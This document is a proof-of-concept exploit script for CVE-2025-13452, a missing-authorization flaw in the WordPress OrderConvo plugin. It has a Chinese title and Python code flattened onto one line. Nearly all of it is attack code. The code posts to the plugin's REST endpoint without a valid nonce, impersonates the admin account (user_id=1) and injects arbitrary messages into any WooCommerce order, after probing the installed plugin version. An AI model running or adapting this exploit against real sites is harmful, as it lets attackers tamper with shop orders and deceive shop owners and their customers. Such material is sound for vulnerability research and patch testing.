CVE-2025-13452 WordPress OrderConvo插件未授权消息注入漏洞

import requests import json # CVE-2025-13452 PoC - Unauthenticated Message Injection # Target: WordPress site with OrderConvo plugin <= 14 # Impact: Allows unauthenticated attackers to inject messages into any WooCommerce order TARGET_URL = "https://vulnerable-site.com" def exploit_message_injection(): """ Exploit the missing authorization vulnerability in OrderConvo plugin. This PoC demonstrates how an unauthenticated attacker can inject arbitrary messages into any WooCommerce order conversation. """ # REST API endpoint for message injection endpoint = f"{TARGET_URL}/wp-json/orderconvo/v1/messages" # Malicious payload - attacker controls user_id, order_id, and message content payload = { "user_id": 1, # Impersonate admin user (user_id=1) "order_id": 123, # Target any WooCommerce order "context": "customer", # Set context to customer or admin "message": "This is a malicious message injected by attacker" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # Empty nonce - permission callback returns true } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Injecting message as user_id={payload['user_id']} to order_id={payload['order_id']}") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] SUCCESS: Message injection completed!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_plugin_version(): """ Check if the vulnerable plugin version is installed. """ endpoint = f"{TARGET_URL}/wp-json/wp/v2/plugins?search=orderconvo" try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: plugins = response.json() for plugin in plugins: if 'orderconvo' in plugin.get('name', '').lower(): version = plugin.get('version', 'unknown') print(f"[*] Found plugin version: {version}") if version <= '14': print("[!] Plugin is VULNERABLE!") return version except: pass print("[*] Could not determine plugin version") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-13452 - OrderConvo Unauthorized Message Injection") print("=" * 60) # First check plugin version check_plugin_version() # Attempt exploitation exploit_message_injection()